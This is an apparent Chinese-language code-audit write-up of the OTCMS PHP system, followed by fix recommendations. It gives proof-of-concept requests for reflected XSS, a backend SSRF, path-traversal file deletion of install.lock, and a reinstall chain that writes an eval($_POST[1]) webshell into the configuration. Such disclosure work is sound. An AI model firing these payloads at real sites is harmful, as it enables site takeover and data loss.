PHP代码审计--OTCMS
字数 1367 2025-08-06 18:08:14
PHP代码审计:OTCMS漏洞分析与利用
0x00 审计环境准备
- PHP环境:phpstudy (php5.6.27 + Apache + mysql)
- 操作系统:Windows10 64位
- 审计工具:
- PHPStorm
- seay代码审计工具
- 部署方式:将源码放到WWW目录,访问/install安装即可
0x01 目录结构分析
(注:原文未提供具体目录结构,此处略过)
0x02 漏洞审计与分析
1. 前台XSS漏洞
第一处:/apiRun.php
漏洞点:
AutoRun函数中,GET方式传入的mode参数未经处理直接带入执行
利用条件:
mudi参数需为autoRun
POC:
/apiRun.php?mudi=autoRun&mode=";alert(/xss/);//
第二处:/read.php
漏洞点:
GetCityData函数中,idName参数未经处理直接带入GetCituOptionJs函数- 在DOM方法中直接输出
利用条件:
- 需要
mudi参数
POC:
/read.php?mudi=getCityData&idName=alert(/xss/)
第三处:/users_deal.php
漏洞点:
type参数经过AlertFilter函数处理后直接alertAlertFilter仅替换了回车和英文双引号,过滤不充分
POC:
/users_deal.php?mudi=mailSend&type=alert(/xss/)
2. 后台SSRF漏洞
漏洞链:
/info_deal.php中AddOrRev函数$img参数通过POST传入且无过滤- 进入
SaveRemoteFile函数 - 调用
GetUrlContent函数 - 最终调用
UseCurl函数执行curl请求
利用条件:
$mudi值为addisSavelmg=1
POC:
POST /admin/info_deal.php?mudi=add
isSavelmg=1&img=URL&theme=1&typeStr=1&time=1
3. 任意文件删除漏洞
漏洞点:
/userCenter_deal.php中Del函数- 路径参数无过滤直接使用
unlink删除文件
利用条件:
$mudi值为rev- 三个
$dashangImg参数长度之和≥5 - 需要绕过Referer检查
POC:
POST http://www.ot.com/usersCenter_deal.php?mudi=rev
Referer: http://www.ot.com
revType=app&dashangImg1=11&dashangImg2=11&dashangImg3=11&dashangImg1Old=../../1.txt
4. 系统重装漏洞
利用链:
- 配合文件删除漏洞删除
install.lock - 访问
/install重装系统 - 通过
Write函数写入恶意代码
POC:
POST /install/index.php?mudi=run
adminName=admin&adminPwd=admin&adminDir=admin&dbType=mysql&accName=%23+OTCMS%40%21db%2522.db&accDir=Data&sqlIp=localhost&sqlPo=3306&sqlUsername=root&sqlUserPwd=123456&sqlDbName=OTCMS&sqlPref=OT_&isImport=2&mysqlState=1&accBackupDir=Data_backup');eval($_POST[1]);#
Getshell验证:
- 访问
config.php文件 - 通过
/install/index.php包含该文件执行恶意代码
0x03 漏洞修复建议
-
XSS漏洞:
- 对所有输出到页面的变量进行HTML实体编码
- 使用
htmlspecialchars()等函数过滤输出
-
SSRF漏洞:
- 限制curl请求的目标地址
- 禁止访问内网地址
- 使用白名单机制
-
文件删除漏洞:
- 严格校验文件路径
- 禁止使用相对路径
- 限制删除权限
-
系统重装漏洞:
- 加强
install.lock文件保护 - 安装完成后自动删除安装文件
- 对配置文件写入进行严格过滤
- 加强
-
通用建议:
- 对所有用户输入进行严格过滤和验证
- 使用参数化查询防止SQL注入
- 实现CSRF防护机制
- 更新到最新版本修复已知漏洞
0x04 总结
通过对OTCMS的代码审计,我们发现该系统存在多处安全漏洞,包括XSS、SSRF、任意文件删除和系统重装漏洞。这些漏洞的组合利用可能导致严重的后果,如服务器被完全控制。开发人员应重视安全编码实践,对所有用户输入进行严格过滤,并对敏感操作实施充分的权限检查。